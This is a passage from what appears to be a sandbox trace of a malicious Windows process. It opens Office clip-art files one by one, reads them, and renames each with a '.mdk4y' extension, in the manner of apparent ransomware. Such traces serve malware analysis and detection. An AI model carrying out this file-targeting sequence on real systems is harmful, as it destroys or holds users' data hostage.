cbMultiByte=260, lpDefaultChar=0x0, lpUsedDefaultChar=0x37df4c | out: lpMultiByteStr="J0287645.JPG", lpUsedDefaultChar=0x37df4c) returned 12 [0166.688] CreateFileA (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0287645.JPG" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\j0287645.jpg"), dwDesiredAccess=0xc0000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x20, hTemplateFile=0x0) returned 0xd8 [0166.690] QueryPerformanceCounter (in: lpPerformanceCount=0x37dee4 | out: lpPerformanceCount=0x37dee4*=1824192000000) returned 1 [0166.690] ReadFile (in: hFile=0xd8, lpBuffer=0x380020, nNumberOfBytesToRead=0x100000, lpNumberOfBytesRead=0x37df4c, lpOverlapped=0x0 | out: lpBuffer=0x380020*, lpNumberOfBytesRead=0x37df4c*=0x8d86, lpOverlapped=0x0) returned 1 [0166.834] QueryPerformanceCounter (in: lpPerformanceCount=0x37dee4 | out: lpPerformanceCount=0x37dee4*=1824206400000) returned 1 [0166.835] QueryPerformanceCounter (in: lpPerformanceCount=0x37dee4 | out: lpPerformanceCount=0x37dee4*=1824206500000) returned 1 [0166.835] MoveFileA (lpExistingFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0287645.JPG" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\j0287645.jpg"), lpNewFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0287645.JPG.mdk4y" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\j0287645.jpg.mdk4y")) returned 1 [0166.837] FindNextFileW (in: hFindFile=0x6ab310, lpFindFileData=0x6b7110 | out: lpFindFileData=0x6b7110) returned 1 [0166.837] AreFileApisANSI () returned 1 [0166.837] GetACP () returned 0x4e4 [0166.837] WideCharToMultiByte (in: CodePage=0x4e4, dwFlags=0x0, lpWideCharStr="J0289430.JPG", cchWideChar=12, lpMultiByteStr=0x6aaeb4, cbMultiByte=260, lpDefaultChar=0x0, lpUsedDefaultChar=0x37df4c | out: lpMultiByteStr="J0289430.JPG", lpUsedDefaultChar=0x37df4c) returned 12 [0166.838] CreateFileA (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0289430.JPG" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\j0289430.jpg"), dwDesiredAccess=0xc0000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x20, hTemplateFile=0x0) returned 0xd8 [0166.838] QueryPerformanceCounter (in: lpPerformanceCount=0x37dee4 | out: lpPerformanceCount=0x37dee4*=1824206900000) returned 1 [0166.840] ReadFile (in: hFile=0xd8, lpBuffer=0x380020, nNumberOfBytesToRead=0x100000, lpNumberOfBytesRead=0x37df4c, lpOverlapped=0x0 | out: lpBuffer=0x380020*, lpNumberOfBytesRead=0x37df4c*=0x2d21, lpOverlapped=0x0) returned 1 [0166.890] QueryPerformanceCounter (in: lpPerformanceCount=0x37dee4 | out: lpPerformanceCount=0x37dee4*=1824212000000) returned 1 [0166.890] QueryPerformanceCounter (in: lpPerformanceCount=0x37dee4 | out: lpPerformanceCount=0x37dee4*=1824212000000) returned 1 [0166.891] MoveFileA (lpExistingFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0289430.JPG" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\j0289430.jpg"), lpNewFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0289430.JPG.mdk4y" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\j0289430.jpg.mdk4y")) returned 1 [0166.892] FindNextFileW (in: hFindFile=0x6ab310, lpFindFileData=0x6b7110 | out: lpFindFileData=0x6b7110) returned 1 [0166.892] AreFileApisANSI () returned 1 [0166.892] GetACP () returned 0x4e4 [0166.892] WideCharToMultiByte (in: CodePage=0x4e4, dwFlags=0x0, lpWideCharStr="J0290548.WMF", cchWideChar=12, lpMultiByteStr=0x6aaeb4, cbMultiByte=260, lpDefaultChar=0x0, lpUsedDefaultChar=0x37df4c | out: lpMultiByteStr="J0290548.WMF", lpUsedDefaultChar=0x37df4c) returned 12 [0166.892] CreateFileA (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0290548.WMF" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\j0290548.wmf"), dwDesiredAccess=0xc0000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x20, hTemplateFile=0x0) returned 0xd8 [0166.893] QueryPerformanceCounter (in: lpPerformanceCount=0x37dee4 | out: lpPerformanceCount=0x37dee4*=1824212300000) returned 1 [0166.893] ReadFile (in: hFile=0xd8, lpBuffer=0x380020, nNumberOfBytesToRead=0x100000, lpNumberOfBytesRead=0x37df4c, lpOverlapped=0x0 | out: lpBuffer=0x380020*, lpNumberOfBytesRead=0x37df4c*=0x9e8a, lpOverlapped=0x0) returned 1 [0166.967] QueryPerformanceCounter (in: lpPerformanceCount=0x37dee4 | out: lpPerformanceCount=0x37dee4*=1824219900000) returned 1 [0166.970] QueryPerformanceCounter (in: lpPerformanceCount=0x37dee4 | out: lpPerformanceCount=0x37dee4*=1824220000000) returned 1 [0166.970] MoveFileA (lpExistingFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0290548.WMF" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\j0290548.wmf"), lpNewFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0290548.WMF.mdk4y" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\j0290548.wmf.mdk4y")) returned 1 [0166.971] FindNextFileW (in: hFindFile=0x6ab310, lpFindFileData=0x6b7110 | out: lpFindFileData=0x6b7110) returned 1 [0166.971] AreFileApisANSI () returned 1 [0166.971] GetACP () returned 0x4e4 [0166.971] WideCharToMultiByte (in: CodePage=0x4e4, dwFlags=0x0, lpWideCharStr="J0291794.WMF", cchWideChar=12, lpMultiByteStr=0x6aaeb4, cbMultiByte=260, lpDefaultChar=0x0, lpUsedDefaultChar=0x37df4c | out: lpMultiByteStr="J0291794.WMF", lpUsedDefaultChar=0x37df4c) returned 12 [0166.972] CreateFileA (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0291794.WMF" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\j0291794.wmf"), dwDesiredAccess=0xc0000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x20, hTemplateFile=0x0) returned 0xd8 [0166.972] QueryPerformanceCounter (in: lpPerformanceCount=0x37dee4 | out: lpPerformanceCount=0x37dee4*=1824220200000) returned 1 [0166.972] ReadFile (in: hFile=0xd8, lpBuffer=0x380020, nNumberOfBytesToRead=0x100000, lpNumberOfBytesRead=0x37df4c, lpOverlapped=0x0 | out: lpBuffer=0x380020*, lpNumberOfBytesRead=0x37df4c*=0x2590, lpOverlapped=0x0) returned 1 [0166.980] QueryPerformanceCounter (in: lpPerformanceCount=0x37dee4 | out: lpPerformanceCount=0x37dee4*=1824221000000) returned 1 [0166.980] QueryPerformanceCounter (in: lpPerformanceCount=0x37dee4 | out: lpPerformanceCount=0x37dee4*=1824221000000) returned 1 [0166.981] MoveFileA (lpExistingFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0291794.WMF" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\j0291794.wmf"), lpNewFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0291794.WMF.mdk4y" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\j0291794.wmf.mdk4y")) returned 1 [0166.982] FindNextFileW (in: hFindFile=0x6ab310, lpFindFileData=0x6b7110 | out: lpFindFileData=0x6b7110) returned 1 [0166.982] AreFileApisANSI () returned 1 [0166.982] GetACP () returned 0x4e4 [0166.982] WideCharToMultiByte (in: CodePage=0x4e4, dwFlags=0x0, lpWideCharStr="J0292248.WMF", cchWideChar=12, lpMultiByteStr=0x6aaeb4, cbMultiByte=260, lpDefaultChar=0x0, lpUsedDefaultChar=0x37df4c | out: lpMultiByteStr="J0292248.WMF", lpUsedDefaultChar=0x37df4c) returned 12 [0166.982] CreateFileA (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0292248.WMF" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\j0292248.wmf"), dwDesiredAccess=0xc0000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x20, hTemplateFile=0x0) returned 0xd8 [0166.983] QueryPerformanceCounter (in: lpPerformanceCount=0x37dee4 | out: lpPerformanceCount=0x37dee4*=1824221300000) returned 1 [0166.983] ReadFile (in: hFile=0xd8, lpBuffer=0x380020, nNumberOfBytesToRead=0x100000, lpNumberOfBytesRead=0x37df4c, lpOverlapped=0x0 | out: lpBuffer=0x380020*, lpNumberOfBytesRead=0x37df4c*=0x20e4, lpOverlapped=0x0) returned 1 [0167.001] QueryPerformanceCounter (in: lpPerformanceCount=0x37dee4 | out: lpPerformanceCount=0x37dee4*=1824223100000) returned 1 [0167.001] QueryPerformanceCounter (in: lpPerformanceCount=0x37dee4 | out: lpPerformanceCount=0x37dee4*=1824223100000) returned 1 [0167.002] MoveFileA (lpExistingFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0292248.WMF" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\j0292248.wmf"), lpNewFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0292248.WMF.mdk4y" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\j0292248.wmf.mdk4y")) returned 1 [0167.003] FindNextFileW (in: hFindFile=0x6ab310, lpFindFileData=0x6b7110 | out: lpFindFileData=0x6b7110) returned 1 [0167.003] AreFileApisANSI () returned 1 [0167.003] GetACP () returned 0x4e4 [0167.003] WideCharToMultiByte (in: CodePage=0x4e4, dwFlags=0x0, lpWideCharStr="J0292270.WMF", cchWideChar=12, lpMultiByteStr=0x6aaeb4, cbMultiByte=260, lpDefaultChar=0x0, lpUsedDefaultChar=0x37df4c | out: lpMultiByteStr="J0292270.WMF", lpUsedDefaultChar=0x37df4c) returned 12 [0167.003] CreateFileA (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0292270.WMF" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\j0292270.wmf"), dwDesiredAccess=0xc0000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x20, hTemplateFile=0x0) returned 0xd8 [0167.004] QueryPerformanceCounter (in: lpPerformanceCount=0x37dee4 | out: lpPerformanceCount=0x37dee4*=1824223400000) returned 1 [0167.004] ReadFile (in: hFile=0xd8, lpBuffer=0x380020, nNumberOfBytesToRead=0x100000, lpNumberOfBytesRead=0x37df4c, lpOverlapped=0x0 | out: lpBuffer=0x380020*, lpNumberOfBytesRead=0x37df4c*=0x7aa6, lpOverlapped=0x0) returned 1 [0167.014] QueryPerformanceCounter (in: lpPerformanceCount=0x37dee4 | out: lpPerformanceCount=0x37dee4*=1824224400000) returned 1 [0167.014] QueryPerformanceCounter (in: lpPerformanceCount=0x37dee4 | out: lpPerformanceCount=0x37dee4*=1824224400000) returned 1 [0167.015] MoveFileA (lpExistingFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0292270.WMF" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\j0292270.wmf"), lpNewFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0292270.WMF.mdk4y" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\j0292270.wmf.mdk4y")) returned 1 [0167.016] FindNextFileW (in: hFindFile=0x6ab310, lpFindFileData=0x6b7110 | out: lpFindFileData=0x6b7110) returned 1 [0167.016] AreFileApisANSI () returned 1 [0167.016] GetACP () returned 0x4e4 [0167.016] WideCharToMultiByte (in: CodePage=0x4e4, dwFlags=0x0, lpWideCharStr="J0292272.WMF", cchWideChar=12, lpMultiByteStr=0x6aaeb4, cbMultiByte=260, lpDefaultChar=0x0, lpUsedDefaultChar=0x37df4c | out: lpMultiByteStr="J0292272.WMF", lpUsedDefaultChar=0x37df4c) returned 12 [0167.016] CreateFileA (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0292272.WMF" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\j0292272.wmf"), dwDesiredAccess=0xc0000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x20, hTemplateFile=0x0) returned 0xd8 [0167.018] QueryPerformanceCounter (in: lpPerformanceCount=0x37dee4 | out: lpPerformanceCount=0x37dee4*=1824224800000) returned 1 [0167.018] ReadFile (in: hFile=0xd8, lpBuffer=0x380020, nNumberOfBytesToRead=0x100000, lpNumberOfBytesRead=0x37df4c, lpOverlapped=0x0 | out: lpBuffer=0x380020*, lpNumberOfBytesRead=0x37df4c*=0x1b64, lpOverlapped=0x0) returned 1 [0167.023] QueryPerformanceCounter (in: lpPerformanceCount=0x37dee4 | out: lpPerformanceCount=0x37dee4*=1824225300000) returned 1 [0167.023] QueryPerformanceCounter (in: lpPerformanceCount=0x37dee4 | out: lpPerformanceCount=0x37dee4*=1824225300000) returned 1 [0167.024] MoveFileA (lpExistingFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0292272.WMF" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\j0292272.wmf"), lpNewFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0292272.WMF.mdk4y" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\j0292272.wmf.mdk4y")) returned 1 [0167.025] FindNextFileW (in: hFindFile=0x6ab310, lpFindFileData=0x6b7110 | out: lpFindFileData=0x6b7110) returned 1 [0167.025] AreFileApisANSI () returned 1 [0167.025] GetACP () returned 0x4e4 [0167.025] WideCharToMultiByte (in: CodePage=0x4e4, dwFlags=0x0, lpWideCharStr="J0292278.WMF", cchWideChar=12, lpMultiByteStr=0x6aaeb4, cbMultiByte=260, lpDefaultChar=0x0, lpUsedDefaultChar=0x37df4c | out: lpMultiByteStr="J0292278.WMF", lpUsedDefaultChar=0x37df4c) returned 12 [0167.025] CreateFileA (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0292278.WMF" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\j0292278.wmf"), dwDesiredAccess=0xc0000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x20, hTemplateFile=0x0) returned 0xd8 [0167.027] QueryPerformanceCounter (in: lpPerformanceCount=0x37dee4 | out: lpPerformanceCount=0x37dee4*=1824225700000) returned 1 [0167.027] ReadFile (in: hFile=0xd8, lpBuffer=0x380020, nNumberOfBytesToRead=0x100000, lpNumberOfBytesRead=0x37df4c, lpOverlapped=0x0 | out: lpBuffer=0x380020*, lpNumberOfBytesRead=0x37df4c*=0x3658, lpOverlapped=0x0) returned 1 [0167.030] QueryPerformanceCounter (in: lpPerformanceCount=0x37dee4 | out: lpPerformanceCount=0x37dee4*=1824226000000) returned 1 [0167.030] QueryPerformanceCounter (in: lpPerformanceCount=0x37dee4 | out: lpPerformanceCount=0x37dee4*=1824226000000) returned 1 [0167.030] MoveFileA (lpExistingFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0292278.WMF" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\j0292278.wmf"), lpNewFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0292278.WMF.mdk4y" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\j0292278.wmf.mdk4y")) returned 1 [0167.032] FindNextFileW (in: hFindFile=0x6ab310, lpFindFileData=0x6b7110 | out: lpFindFileData=0x6b7110) returned 1 [0167.032] AreFileApisANSI () returned 1 [0167.032] GetACP () returned 0x4e4 [0167.032] WideCharToMultiByte (in: CodePage=0x4e4, dwFlags=0x0, lpWideCharStr="J0292286.WMF", cchWideChar=12, lpMultiByteStr=0x6aaeb4, cbMultiByte=260, lpDefaultChar=0x0, lpUsedDefaultChar=0x37df4c | out: lpMultiByteStr="J0292286.WMF", lpUsedDefaultChar=0x37df4c) returned 12 [0167.032] CreateFileA (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0292286.WMF" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\j0292286.wmf"), dwDesiredAccess=0xc0000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x20, hTemplateFile=0x0) returned 0xd8 [0167.032] QueryPerformanceCounter (in: lpPerformanceCount=0x37dee4 | out: lpPerformanceCount=0x37dee4*=1824226500000) returned 1 [0167.035] ReadFile (in: hFile=0xd8, lpBuffer=0x380020, nNumberOfBytesToRead=0x100000, lpNumberOfBytesRead=0x37df4c, lpOverlapped=0x0 | out: lpBuffer=0x380020*, lpNumberOfBytesRead=0x37df4c*=0x4b56, lpOverlapped=0x0) returned 1 [0167.051] QueryPerformanceCounter (in: lpPerformanceCount=0x37dee4 | out: lpPerformanceCount=0x37dee4*=1824228100000) returned 1 [0167.051] QueryPerformanceCounter (in: lpPerformanceCount=0x37dee4 | out: lpPerformanceCount=0x37dee4*=1824228100000) returned 1 [0167.052] MoveFileA (lpExistingFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0292286.WMF" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\j0292286.wmf"), lpNewFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0292286.WMF.mdk4y" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\j0292286.wmf.mdk4y")) returned 1 [0167.053] FindNextFileW (in: hFindFile=0x6ab310, lpFindFileData=0x6b7110 | out: lpFindFileData=0x6b7110) returned 1 [0167.053] AreFileApisANSI () returned 1 [0167.053] GetACP () returned 0x4e4 [0167.053] WideCharToMultiByte (in: CodePage=0x4e4, dwFlags=0x0, lpWideCharStr="J0293800.WMF", cchWideChar=12, lpMultiByteStr=0x6aaeb4, cbMultiByte=260, lpDefaultChar=0x0, lpUsedDefaultChar=0x37df4c | out: lpMultiByteStr="J0293800.WMF", lpUsedDefaultChar=0x37df4c) returned 12 [0167.053] CreateFileA (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0293800.WMF" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\j0293800.wmf"), dwDesiredAccess=0xc0000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x20, hTemplateFile=0x0) returned 0xd8 [0167.054] QueryPerformanceCounter (in: lpPerformanceCount=0x37dee4 | out: lpPerformanceCount=0x37dee4*=1824228400000) returned 1 [0167.054] ReadFile (in: hFile=0xd8, lpBuffer=0x380020, nNumberOfBytesToRead=0x100000, lpNumberOfBytesRead=0x37df4c, lpOverlapped=0x0 | out: lpBuffer=0x380020*, lpNumberOfBytesRead=0x37df4c*=0x12a6, lpOverlapped=0x0) returned 1 [0167.065] QueryPerformanceCounter (in: lpPerformanceCount=0x37dee4 | out: lpPerformanceCount=0x37dee4*=1824229500000) returned 1 [0167.066] QueryPerformanceCounter (in: lpPerformanceCount=0x37dee4 | out: lpPerformanceCount=0x37dee4*=1824229500000) returned 1 [0167.066] MoveFileA (lpExistingFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0293800.WMF" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\j0293800.wmf"), lpNewFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0293800.WMF.mdk4y" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\j0293800.wmf.mdk4y")) returned 1 [0167.067] FindNextFileW (in: hFindFile=0x6ab310, lpFindFileData=0x6b7110 | out: lpFindFileData=0x6b7110) returned 1 [0167.067] AreFileApisANSI () returned 1 [0167.067] GetACP () returned 0x4e4 [0167.067] WideCharToMultiByte (in: CodePage=0x4e4, dwFlags=0x0, lpWideCharStr="J0293832.WMF", cchWideChar=12, lpMultiByteStr=0x6aaeb4, cbMultiByte=260, lpDefaultChar=0x0, lpUsedDefaultChar=0x37df4c | out: lpMultiByteStr="J0293832.WMF", lpUsedDefaultChar=0x37df4c) returned 12 [0167.067] CreateFileA (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0293832.WMF" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\j0293832.wmf"), dwDesiredAccess=0xc0000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x20, hTemplateFile=0x0) returned 0xd8 [0167.069] QueryPerformanceCounter (in: lpPerformanceCount=0x37dee4 | out: lpPerformanceCount=0x37dee4*=1824229900000) returned 1 [0167.069] ReadFile (in: hFile=0xd8, lpBuffer=0x380020, nNumberOfBytesToRead=0x100000, lpNumberOfBytesRead=0x37df4c, lpOverlapped=0x0 | out: lpBuffer=0x380020*, lpNumberOfBytesRead=0x37df4c*=0x17be, lpOverlapped=0x0) returned 1 [0167.073] QueryPerformanceCounter (in: lpPerformanceCount=0x37dee4 | out: lpPerformanceCount=0x37dee4*=1824230300000) returned 1 [0167.073] QueryPerformanceCounter (in: lpPerformanceCount=0x37dee4 | out: lpPerformanceCount=0x37dee4*=1824230300000) returned 1 [0167.074] MoveFileA (lpExistingFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0293832.WMF" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\j0293832.wmf"), lpNewFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0293832.WMF.mdk4y" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\j0293832.wmf.mdk4y")) returned 1 [0167.075] FindNextFileW (in: hFindFile=0x6ab310, lpFindFileData=0x6b7110 | out: lpFindFileData=0x6b7110) returned 1 [0167.075] AreFileApisANSI () returned 1 [0167.075] GetACP () returned 0x4e4 [0167.075] WideCharToMultiByte (in: CodePage=0x4e4, dwFlags=0x0, lpWideCharStr="J0294989.WMF", cchWideChar=12, lpMultiByteStr=0x6aaeb4, cbMultiByte=260, lpDefaultChar=0x0, lpUsedDefaultChar=0x37df4c | out: lpMultiByteStr="J0294989.WMF", lpUsedDefaultChar=0x37df4c) returned 12 [0167.075] CreateFileA (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0294989.WMF" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\j0294989.wmf"), dwDesiredAccess=0xc0000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x20, hTemplateFile=0x0) returned 0xd8 [0167.076] QueryPerformanceCounter (in: lpPerformanceCount=0x37dee4 | out: lpPerformanceCount=0x37dee4*=1824230600000) returned 1 [0167.076] ReadFile (in: hFile=0xd8, lpBuffer=0x380020, nNumberOfBytesToRead=0x100000, lpNumberOfBytesRead=0x37df4c, lpOverlapped=0x0 | out: lpBuffer=0x380020*, lpNumberOfBytesRead=0x37df4c*=0x37de, lpOverlapped=0x0) returned 1 [0167.082] QueryPerformanceCounter (in: lpPerformanceCount=0x37dee4 | out: lpPerformanceCount=0x37dee4*=1824231200000) returned 1 [0167.082] QueryPerformanceCounter (in: lpPerformanceCount=0x37dee4 | out: lpPerformanceCount=0x37dee4*=1824231200000) returned 1 [0167.083] MoveFileA (lpExistingFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0294989.WMF" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\j0294989.wmf"), lpNewFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0294989.WMF.mdk4y" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\j0294989.wmf.mdk4y")) returned 1 [0167.084] FindNextFileW (in: hFindFile=0x6ab310, lpFindFileData=0x6b7110 | out: lpFindFileData=0x6b7110) returned 1 [0167.084] AreFileApisANSI () returned 1 [0167.084] GetACP () returned 0x4e4 [0167.084] WideCharToMultiByte (in: CodePage=0x4e4, dwFlags=0x0, lpWideCharStr="J0294991.WMF", cchWideChar=12, lpMultiByteStr=0x6aaeb4, cbMultiByte=260, lpDefaultChar=0x0, lpUsedDefaultChar=0x37df4c | out: lpMultiByteStr="J0294991.WMF", lpUsedDefaultChar=0x37df4c) returned 12 [0167.084] CreateFileA (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0294991.WMF" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\j0294991.wmf"), dwDesiredAccess=0xc0000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x20, hTemplateFile=0x0) returned 0xd8 [0167.085] QueryPerformanceCounter (in: lpPerformanceCount=0x37dee4 | out: lpPerformanceCount=0x37dee4*=1824231500000) returned 1 [0167.085] ReadFile (in: hFile=0xd8, lpBuffer=0x380020, nNumberOfBytesToRead=0x100000, lpNumberOfBytesRead=0x37df4c, lpOverlapped=0x0 | out: lpBuffer=0x380020*, lpNumberOfBytesRead=0x37df4c*=0x6180, lpOverlapped=0x0) returned 1 [0167.093] QueryPerformanceCounter (in: lpPerformanceCount=0x37dee4 | out: lpPerformanceCount=0x37dee4*=1824232300000) returned 1 [0167.093] QueryPerformanceCounter (in: lpPerformanceCount=0x37dee4 | out: lpPerformanceCount=0x37dee4*=1824232300000) returned 1 [0167.094] MoveFileA (lpExistingFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0294991.WMF" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\j0294991.wmf"), lpNewFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0294991.WMF.mdk4y" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\j0294991.wmf.mdk4y")) returned 1 [0167.095] FindNextFileW (in: hFindFile=0x6ab310, lpFindFileData=0x6b7110 | out: lpFindFileData=0x6b7110) returned 1 [0167.095] AreFileApisANSI () returned 1 [0167.095] GetACP () returned 0x4e4 [0167.095] WideCharToMultiByte (in: CodePage=0x4e4, dwFlags=0x0, lpWideCharStr="J0295069.WMF", cchWideChar=12, lpMultiByteStr=0x6aaeb4, cbMultiByte=260, lpDefaultChar=0x0, lpUsedDefaultChar=0x37df4c | out: lpMultiByteStr="J0295069.WMF", lpUsedDefaultChar=0x37df4c) returned 12 [0167.095] CreateFileA (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0295069.WMF" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\j0295069.wmf"), dwDesiredAccess=0xc0000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x20, hTemplateFile=0x0) returned 0xd8 [0167.096] QueryPerformanceCounter (in: lpPerformanceCount=0x37dee4 | out: lpPerformanceCount=0x37dee4*=1824232600000) returned 1 [0167.096] ReadFile (in: hFile=0xd8, lpBuffer=0x380020, nNumberOfBytesToRead=0x100000, lpNumberOfBytesRead=0x37df4c, lpOverlapped=0x0 | out: lpBuffer=0x380020*, lpNumberOfBytesRead=0x37df4c*=0x21b2, lpOverlapped=0x0) returned 1 [0167.111] QueryPerformanceCounter (in: lpPerformanceCount=0x37dee4 | out: lpPerformanceCount=0x37dee4*=1824234100000) returned 1 [0167.111] QueryPerformanceCounter (in: lpPerformanceCount=0x37dee4 | out: lpPerformanceCount=0x37dee4*=1824234100000) returned 1 [0167.112] MoveFileA (lpExistingFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0295069.WMF" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\j0295069.wmf"), lpNewFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0295069.WMF.mdk4y" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\j0295069.wmf.mdk4y")) returned 1 [0167.113] FindNextFileW (in: hFindFile=0x6ab310, lpFindFileData=0x6b7110 | out: lpFindFileData=0x6b7110) returned 1 [0167.113] AreFileApisANSI () returned 1 [0167.113] GetACP () returned 0x4e4 [0167.113] WideCharToMultiByte (in: CodePage=0x4e4, dwFlags=0x0, lpWideCharStr="J0296277.WMF", cchWideChar=12, lpMultiByteStr=0x6aaeb4, cbMultiByte=260, lpDefaultChar=0x0, lpUsedDefaultChar=0x37df4c | out: lpMultiByteStr="J0296277.WMF", lpUsedDefaultChar=0x37df4c) returned 12 [0167.113] CreateFileA (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0296277.WMF" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\j0296277.wmf"), dwDesiredAccess=0xc0000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x20, hTemplateFile=0x0) returned 0xd8 